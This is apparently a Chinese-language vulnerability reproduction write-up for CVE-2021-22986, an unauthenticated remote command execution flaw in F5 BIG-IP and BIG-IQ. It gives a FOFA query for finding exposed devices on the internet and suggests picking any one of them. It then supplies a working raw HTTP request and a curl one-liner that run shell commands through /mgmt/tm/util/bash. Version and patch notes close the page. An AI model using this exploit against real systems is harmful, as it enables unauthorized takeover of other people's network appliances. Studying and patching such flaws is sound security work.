(CVE-2021-22986) BIG-IP 未授權遠程代碼執行漏洞復現

漏洞描述

F5 BIG-IP 是美國 F5 公司的一款集成了網絡流量管理、應用程序安全管理、負載均衡等功能的應用交付平台。
CVE-2021-22986 BIG-IP/BIG-IQ iControl REST 未授權遠程代碼執行漏洞 中，未經身份驗證的攻擊者可通過iControl REST接口，構造惡意請求，執行任意系統命令。

 

影響版本

F5 BIG-IP 16.0.0-16.0.1
F5 BIG-IP 15.1.0-15.1.2
F5 BIG-IP 14.1.0-14.1.3.1
F5 BIG-IP 13.1.0-13.1.3.5
F5 BIG-IP 12.1.0-12.1.5.2
F5 BIG-IQ 7.1.0-7.1.0.2
F5 BIG-IQ 7.0.0-7.0.0.1
F5 BIG-IQ 6.0.0-6.1.0

 

漏洞利用

使用fofa，fofa語法如下
title="BIG-IP&reg ;- Redirect"

隨便點個進入

POC如下:

POST /mgmt/tm/util/bash HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0)
Accept: */*
Connection: close
Authorization: Basic YWRtaW46
X-F5-Auth-Token: 
Content-Length: 46
Content-Type: application/json
 
{"command": "run", "utilCmdArgs": "-c id"}

用burp發送請求結果如下:

 

或者直接用curl發送post請求:

curl -su admin: -H "Content-Type: application/json" http://[victimIP]/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'

結果如下:

 

Poc利用成功之后都會在目標BIG_IP頁面顯示出命令執行結果,比如執行”whoami”:

版本檢測

可通過在TMOS shell（tmsh）中輸入以下命令，查看當前使用的版本：

Show sys version

或者登錄Web管理界面查看當前BIG-IP的版本。

 

漏洞修復

目前F5官方已在最新版本中修復了以上漏洞，官方下載鏈接：
BIG-IP：https://support.f5.com/csp/article/K9502